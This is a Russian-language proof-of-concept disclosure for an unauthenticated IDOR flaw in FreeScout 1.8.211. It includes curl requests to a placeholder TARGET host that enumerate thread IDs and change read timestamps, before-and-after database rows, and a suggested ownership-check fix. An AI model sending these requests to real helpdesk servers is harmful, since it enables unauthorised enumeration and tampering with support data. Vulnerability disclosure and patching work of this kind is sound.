
Эксплойт, подтверждающий концепцию, для неаутентифицированной уязвимости IDOR в FreeScout, которая позволяет перечислять ветки обсуждений и изменять статус прочтения с помощью специально сформированных HTTP-запросов.
POC - CVE-2026-35584 FreeScout
Конечная точка GET /thread/read/{conversation_id}/{thread_id} не требует аутентификации и не проверяет, принадлежит ли переданный thread_id указанному conversation_id. Это позволяет любому неаутентифицированному атакующему:
Пометить любой поток как прочитанный, передавая произвольные идентификаторы Перечислять допустимые идентификаторы потоков по кодам ответа HTTP (200 против 404) Изменять временные метки opened_at в разных диалогах (IDOR)
Затронутая версия
1.8.211 (последняя)
Создайте два диалога (conv_id=1 и conv_id=2) Создайте поток в диалоге 2 (thread_id=3) Без какой-либо аутентификации отправьте: GET /thread/read/1/3 Проверьте в базе данных — opened_at для thread_id=3 теперь установлен, несмотря на доступ через неправильный conversation_id
curl -v "http://TARGET/thread/read/1/3"
Возвращает HTTP 200 и устанавливает opened_at для потока 3
Аутентификация не требуется IDOR: thread_id не проверяется на соответствие conversation_id Перечисление потоков: HTTP 200 = допустимый поток, 404 = недопустимый Изменение метрик прочитанного/непрочитанного, используемых агентами поддержки Нарушает модель изоляции диалогов
if ($thread->conversation_id !== (int)$conversation_id) {
abort(403);
}
Перечисление потоков (без аутентификации)
curl -v "http://TARGET/thread/read/1/1" → HTTP 200 (допустимый поток)
curl -v "http://TARGET/thread/read/1/2" → HTTP 200 (допустимый поток)
curl -v "http://TARGET/thread/read/1/3" → HTTP 200 (IDOR - поток принадлежит диалогу 2)
curl -v "http://TARGET/thread/read/1/4" → HTTP 404 (недопустимый поток)
До: | id | conversation_id | opened_at | | 3 | 2 | NULL |
После GET /thread/read/1/3 (без аутентификации): | id | conversation_id | opened_at | | 3 | 2 | 2026-04-03 23:19:46 |